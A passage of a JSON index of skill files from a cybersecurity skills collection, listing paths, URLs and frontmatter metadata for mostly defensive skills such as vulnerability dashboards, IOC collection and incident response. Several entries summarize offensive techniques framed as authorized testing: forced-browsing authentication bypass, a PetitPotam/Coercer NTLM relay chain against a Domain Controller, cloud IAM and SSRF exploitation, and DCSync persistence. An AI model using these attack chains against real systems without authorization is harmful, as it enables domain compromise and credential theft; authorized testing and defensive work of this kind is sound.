-->","isInternal":false,"tokens":544,"sizeBytes":2017},{"name":"standards.md","path":"skills/building-vulnerability-dashboard-with-defectdojo/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-vulnerability-dashboard-with-defectdojo/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-dashboard-with-defectdojo%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":394,"sizeBytes":1428},{"name":"workflows.md","path":"skills/building-vulnerability-dashboard-with-defectdojo/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-vulnerability-dashboard-with-defectdojo/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-dashboard-with-defectdojo%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":392,"sizeBytes":1729},{"name":"SKILL.md","path":"skills/building-vulnerability-dashboard-with-defectdojo/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-vulnerability-dashboard-with-defectdojo/SKILL.md","title":"building-vulnerability-dashboard-with-defectdojo","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-dashboard-with-defectdojo%2FSKILL.md -->","frontmatter":{"name":"building-vulnerability-dashboard-with-defectdojo","description":"Deploy DefectDojo as a centralized vulnerability management dashboard that ingests findings from 200+ security scanners, deduplicates results, tracks remediation metrics, and integrates with CI/CD, Jira ticketing, and Slack notifications via its REST API. Use when consolidating scanner output into one dashboard or automating vulnerability ticketing and executive reporting.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["defectdojo","vulnerability-management","dashboard","deduplication","scanner-integration","devsecops","jira"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068"]},"isInternal":false,"tokens":2051,"sizeBytes":7856},{"name":"template.md","path":"skills/building-vulnerability-exception-tracking-system/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-vulnerability-exception-tracking-system/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-exception-tracking-system%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":438,"sizeBytes":1789},{"name":"api-reference.md","path":"skills/building-vulnerability-exception-tracking-system/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-vulnerability-exception-tracking-system/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-exception-tracking-system%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":405,"sizeBytes":1625},{"name":"standards.md","path":"skills/building-vulnerability-exception-tracking-system/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-vulnerability-exception-tracking-system/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-exception-tracking-system%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":402,"sizeBytes":1778},{"name":"workflows.md","path":"skills/building-vulnerability-exception-tracking-system/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-vulnerability-exception-tracking-system/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-exception-tracking-system%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":471,"sizeBytes":2279},{"name":"SKILL.md","path":"skills/building-vulnerability-exception-tracking-system/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-vulnerability-exception-tracking-system/SKILL.md","title":"building-vulnerability-exception-tracking-system","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-exception-tracking-system%2FSKILL.md -->","frontmatter":{"name":"building-vulnerability-exception-tracking-system","description":"Build a vulnerability exception and risk acceptance tracking system covering approval workflows, compensating controls documentation, and automatic expiration for vulnerabilities that miss SLA remediation timelines. Use when standing up a governance process for risk acceptance and exception approvals to support PCI DSS, SOC 2, or NIST CSF compliance.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["vulnerability-exception","risk-acceptance","compensating-controls","exception-tracking","vulnerability-management","governance"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1068"]},"isInternal":false,"tokens":1526,"sizeBytes":6934},{"name":"api-reference.md","path":"skills/building-vulnerability-scanning-workflow/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-vulnerability-scanning-workflow/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-scanning-workflow%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":459,"sizeBytes":1780},{"name":"SKILL.md","path":"skills/building-vulnerability-scanning-workflow/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-vulnerability-scanning-workflow/SKILL.md","title":"building-vulnerability-scanning-workflow","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-vulnerability-scanning-workflow%2FSKILL.md -->","frontmatter":{"name":"building-vulnerability-scanning-workflow","description":"Builds a structured vulnerability scanning workflow using tools like Nessus, Qualys, and OpenVAS to discover, prioritize, and track remediation of security vulnerabilities across infrastructure. Use when SOC teams need to establish recurring vulnerability assessment processes, integrate scan results with SIEM alerting, and build remediation tracking dashboards.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","vulnerability-scanning","nessus","qualys","openvas","cvss","remediation","patch-management"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1595.002","T1190","T1046"]},"isInternal":false,"tokens":3321,"sizeBytes":12784},{"name":"api-reference.md","path":"skills/bypassing-authentication-with-forced-browsing/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/bypassing-authentication-with-forced-browsing/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbypassing-authentication-with-forced-browsing%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":521,"sizeBytes":2244},{"name":"SKILL.md","path":"skills/bypassing-authentication-with-forced-browsing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/bypassing-authentication-with-forced-browsing/SKILL.md","title":"bypassing-authentication-with-forced-browsing","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbypassing-authentication-with-forced-browsing%2FSKILL.md -->","frontmatter":{"name":"bypassing-authentication-with-forced-browsing","description":"Discovering and accessing unprotected pages, APIs, and administrative interfaces by enumerating URLs and bypassing authentication controls during authorized security assessments.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","authentication-bypass","forced-browsing","ffuf","directory-enumeration","owasp"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1083","T1087"]},"isInternal":false,"tokens":2724,"sizeBytes":10923},{"name":"api-reference.md","path":"skills/coercing-authentication-with-coercer-petitpotam/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/coercing-authentication-with-coercer-petitpotam/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcoercing-authentication-with-coercer-petitpotam%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":856,"sizeBytes":2438},{"name":"standards.md","path":"skills/coercing-authentication-with-coercer-petitpotam/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/coercing-authentication-with-coercer-petitpotam/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcoercing-authentication-with-coercer-petitpotam%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":335,"sizeBytes":1355},{"name":"SKILL.md","path":"skills/coercing-authentication-with-coercer-petitpotam/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/coercing-authentication-with-coercer-petitpotam/SKILL.md","title":"coercing-authentication-with-coercer-petitpotam","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcoercing-authentication-with-coercer-petitpotam%2FSKILL.md -->","frontmatter":{"name":"coercing-authentication-with-coercer-petitpotam","description":"Trigger machine account authentication with PetitPotam (MS-EFSR) and Coercer (MS-RPRN, MS-DFSNM, MS-FSRVP, MS-EVEN) via Coercer's scan/coerce/fuzz modes, feeding the coerced NTLM auth into a relay against AD CS Web Enrollment (ESC8), LDAP (RBCD), or SMB. Use in authorized engagements to complete a coercion-relay chain against a Domain Controller, or to validate coercion detections and signing/EPA mitigations.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","active-directory","coercion","petitpotam","coercer","ntlm-relay","esc8","forced-authentication"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01"],"mitre_attack":["T1187"]},"isInternal":false,"tokens":2418,"sizeBytes":8904},{"name":"api-reference.md","path":"skills/collecting-indicators-of-compromise/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/collecting-indicators-of-compromise/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-indicators-of-compromise%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":655,"sizeBytes":2231},{"name":"SKILL.md","path":"skills/collecting-indicators-of-compromise/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/collecting-indicators-of-compromise/SKILL.md","title":"collecting-indicators-of-compromise","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-indicators-of-compromise%2FSKILL.md -->","frontmatter":{"name":"collecting-indicators-of-compromise","description":"Systematically collects, categorizes, and distributes indicators of compromise (IOCs) during and after security incidents to enable detection, blocking, and threat intelligence sharing. Covers network, host, email, and behavioral indicators using STIX/TAXII formats and threat intelligence platforms. Activates for requests involving IOC collection, indicator extraction, threat indicator sharing, compromise indicators, STIX export, or IOC enrichment.\n","domain":"cybersecurity","subdomain":"incident-response","tags":["IOC-collection","threat-indicators","STIX-TAXII","MISP","threat-intelligence-sharing"],"mitre_attack":["T1071.001","T1071.004","T1053.005","T1547.001","T1059.001","T1041"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2787,"sizeBytes":10744},{"name":"api-reference.md","path":"skills/collecting-open-source-intelligence/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/collecting-open-source-intelligence/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-open-source-intelligence%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":487,"sizeBytes":2050},{"name":"SKILL.md","path":"skills/collecting-open-source-intelligence/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/collecting-open-source-intelligence/SKILL.md","title":"collecting-open-source-intelligence","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-open-source-intelligence%2FSKILL.md -->","frontmatter":{"name":"collecting-open-source-intelligence","description":"Collects and synthesizes open-source intelligence (OSINT) about threat actors, malicious infrastructure, and attack campaigns using publicly available data sources, passive reconnaissance tools, and dark web monitoring. Use when investigating external threat actor infrastructure, performing pre-engagement reconnaissance for authorized red team assessments, or enriching CTI reports with publicly available adversary context. Activates for requests involving Maltego, Shodan, OSINT framework, SpiderFoot, or infrastructure reconnaissance.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["OSINT","Maltego","Shodan","Recon-ng","SpiderFoot","threat-intelligence","ATT&CK-T1591","NIST-CSF"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1593.001","T1589.002","T1596.002","T1590","T1596.001"]},"isInternal":false,"tokens":1588,"sizeBytes":7058},{"name":"template.md","path":"skills/collecting-threat-intelligence-with-misp/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/collecting-threat-intelligence-with-misp/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-threat-intelligence-with-misp%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":786,"sizeBytes":3053},{"name":"api-reference.md","path":"skills/collecting-threat-intelligence-with-misp/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/collecting-threat-intelligence-with-misp/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-threat-intelligence-with-misp%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":535,"sizeBytes":1851},{"name":"standards.md","path":"skills/collecting-threat-intelligence-with-misp/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/collecting-threat-intelligence-with-misp/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-threat-intelligence-with-misp%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":592,"sizeBytes":2316},{"name":"workflows.md","path":"skills/collecting-threat-intelligence-with-misp/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/collecting-threat-intelligence-with-misp/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-threat-intelligence-with-misp%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":988,"sizeBytes":4877},{"name":"SKILL.md","path":"skills/collecting-threat-intelligence-with-misp/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/collecting-threat-intelligence-with-misp/SKILL.md","title":"collecting-threat-intelligence-with-misp","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-threat-intelligence-with-misp%2FSKILL.md -->","frontmatter":{"name":"collecting-threat-intelligence-with-misp","description":"Deploy MISP, configure threat feeds (MISP community, freetext, TAXII, CSV), and use the PyMISP API to programmatically fetch, add, and search events and IOCs, building automated collection pipelines that aggregate indicators from community and commercial sources. Use when gathering, storing, or correlating IOCs and threat intelligence, or when scripting MISP ingestion via PyMISP.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["threat-intelligence","cti","ioc","mitre-attack","stix","misp","taxii","threat-sharing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1071.001","T1588.001","T1583.001","T1566.001","T1587.001"]},"isInternal":false,"tokens":1590,"sizeBytes":6236},{"name":"template.md","path":"skills/collecting-volatile-evidence-from-compromised-host/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/collecting-volatile-evidence-from-compromised-host/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-volatile-evidence-from-compromised-host%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":513,"sizeBytes":2125},{"name":"api-reference.md","path":"skills/collecting-volatile-evidence-from-compromised-host/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/collecting-volatile-evidence-from-compromised-host/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-volatile-evidence-from-compromised-host%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":602,"sizeBytes":2075},{"name":"standards.md","path":"skills/collecting-volatile-evidence-from-compromised-host/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/collecting-volatile-evidence-from-compromised-host/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-volatile-evidence-from-compromised-host%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":681,"sizeBytes":3041},{"name":"workflows.md","path":"skills/collecting-volatile-evidence-from-compromised-host/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/collecting-volatile-evidence-from-compromised-host/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-volatile-evidence-from-compromised-host%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":982,"sizeBytes":4004},{"name":"SKILL.md","path":"skills/collecting-volatile-evidence-from-compromised-host/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/collecting-volatile-evidence-from-compromised-host/SKILL.md","title":"collecting-volatile-evidence-from-compromised-host","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fcollecting-volatile-evidence-from-compromised-host%2FSKILL.md -->","frontmatter":{"name":"collecting-volatile-evidence-from-compromised-host","description":"Collect volatile forensic evidence from a compromised host by following the order of volatility, preserving memory, network connections, running processes, and system state with documented chain of custody before they are lost. Use before isolating, shutting down, or remediating a compromised host, especially when fileless or memory-resident malware is suspected, root cause analysis is needed, or the evidence must hold up in legal proceedings.","domain":"cybersecurity","subdomain":"incident-response","tags":["incident-response","dfir","forensics","volatile-evidence","memory-forensics","chain-of-custody"],"mitre_attack":["T1059.001","T1057","T1049","T1003.001","T1543.003"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2582,"sizeBytes":9784},{"name":"api-reference.md","path":"skills/conducting-api-security-testing/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-api-security-testing/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-api-security-testing%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":603,"sizeBytes":2598},{"name":"SKILL.md","path":"skills/conducting-api-security-testing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-api-security-testing/SKILL.md","title":"conducting-api-security-testing","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-api-security-testing%2FSKILL.md -->","frontmatter":{"name":"conducting-api-security-testing","description":"Conducts security testing of REST, GraphQL, and gRPC APIs to identify vulnerabilities in authentication, authorization, rate limiting, input validation, and business logic. The tester uses the OWASP API Security Top 10 as the testing framework, combining Burp Suite interception with Postman collections and custom scripts to test endpoint security at every privilege level. Activates for requests involving API security testing, REST API pentest, GraphQL security assessment, or API vulnerability testing.\n","domain":"cybersecurity","subdomain":"penetration-testing","tags":["API-security","OWASP-API-Top10","REST","GraphQL","authorization-testing"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1190","T1213","T1552.001","T1078","T1071.001"]},"isInternal":false,"tokens":2520,"sizeBytes":11829},{"name":"api-reference.md","path":"skills/conducting-cloud-incident-response/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-cloud-incident-response/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cloud-incident-response%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":565,"sizeBytes":2464},{"name":"SKILL.md","path":"skills/conducting-cloud-incident-response/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-cloud-incident-response/SKILL.md","title":"conducting-cloud-incident-response","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cloud-incident-response%2FSKILL.md -->","frontmatter":{"name":"conducting-cloud-incident-response","description":"Respond to security incidents in AWS, Azure, and GCP via identity-based containment, cloud-native log analysis (CloudTrail, Azure Activity Logs, GCP Audit Logs), resource isolation, and forensic evidence acquisition adapted for ephemeral cloud infrastructure. Use when CSPM alerts or audit logs show compromised cloud credentials, unauthorized IAM changes, or a breach spanning cloud services.","domain":"cybersecurity","subdomain":"incident-response","tags":["cloud-IR","AWS-forensics","Azure-incident-response","GCP-security","identity-containment"],"mitre_attack":["T1078","T1537","T1580","T1525"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2720,"sizeBytes":11887},{"name":"api-reference.md","path":"skills/conducting-cloud-penetration-testing/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-cloud-penetration-testing/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cloud-penetration-testing%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":545,"sizeBytes":2322},{"name":"SKILL.md","path":"skills/conducting-cloud-penetration-testing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-cloud-penetration-testing/SKILL.md","title":"conducting-cloud-penetration-testing","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cloud-penetration-testing%2FSKILL.md -->","frontmatter":{"name":"conducting-cloud-penetration-testing","description":"This skill outlines methodologies for performing authorized penetration testing against AWS, Azure, and GCP cloud environments. It covers understanding the shared responsibility model for testing scope, leveraging cloud-specific attack tools like Pacu and ScoutSuite, exploiting IAM misconfigurations, testing for SSRF to cloud metadata services, and reporting findings aligned to MITRE ATT&CK Cloud matrix.\n","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-pentesting","offensive-security","aws-exploitation","shared-responsibility","mitre-attack-cloud"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"d3fend_techniques":["Token Binding","Restore Access","Application Protocol Command Analysis","Reissue Credential","Network Isolation"],"nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1078.004","T1580","T1530","T1538"]},"isInternal":false,"tokens":3019,"sizeBytes":12974},{"name":"template.md","path":"skills/conducting-cyber-risk-assessment-with-nist-800-30/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-cyber-risk-assessment-with-nist-800-30/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cyber-risk-assessment-with-nist-800-30%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1214,"sizeBytes":4972},{"name":"standards.md","path":"skills/conducting-cyber-risk-assessment-with-nist-800-30/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-cyber-risk-assessment-with-nist-800-30/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cyber-risk-assessment-with-nist-800-30%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":945,"sizeBytes":3834},{"name":"SKILL.md","path":"skills/conducting-cyber-risk-assessment-with-nist-800-30/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-cyber-risk-assessment-with-nist-800-30/SKILL.md","title":"conducting-cyber-risk-assessment-with-nist-800-30","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-cyber-risk-assessment-with-nist-800-30%2FSKILL.md -->","frontmatter":{"name":"conducting-cyber-risk-assessment-with-nist-800-30","description":"Conduct a defensible cybersecurity risk assessment using the NIST SP 800-30 Rev 1 methodology: prepare scope and a risk model, identify threat sources and threat events, identify vulnerabilities and predisposing conditions, determine likelihood and impact, compute risk, and communicate results as a prioritized risk register. Use when an organization needs an actual risk *assessment* (not a maturity score), when a control framework (CSF, ISO 27001, RMF, SOC 2, PCI) requires a documented risk analysis as input, when leadership asks \"what are our top risks and how bad are they\", when assessing risk for a new system or major change, or when building a risk register from scratch. This is the methodology that feeds framework selection, ATO packages, and treatment decisions. Keywords: risk assessment, NIST 800-30, threat modeling, likelihood and impact, risk register, risk analysis, threat sources, vulnerabilities, risk determination, qualitative risk, risk matrix, residual risk, risk treatment.","domain":"cybersecurity","subdomain":"compliance-governance","tags":["risk-assessment","nist-800-30","risk-management","threat-modeling","risk-register","governance","nist-800-39","compliance"],"version":"1.0","author":"andrewibrah","license":"Apache-2.0","nist_csf":["GV.RM-01","ID.RA-01","ID.RA-03","ID.RA-04","ID.RA-05"],"mitre_attack":["T1566","T1078","T1190","T1486","T1021"]},"isInternal":false,"tokens":2279,"sizeBytes":10028},{"name":"template.md","path":"skills/conducting-domain-persistence-with-dcsync/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/conducting-domain-persistence-with-dcsync/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fconducting-domain-persistence-with-dcsync%2Fassets%2Ftemplate.md 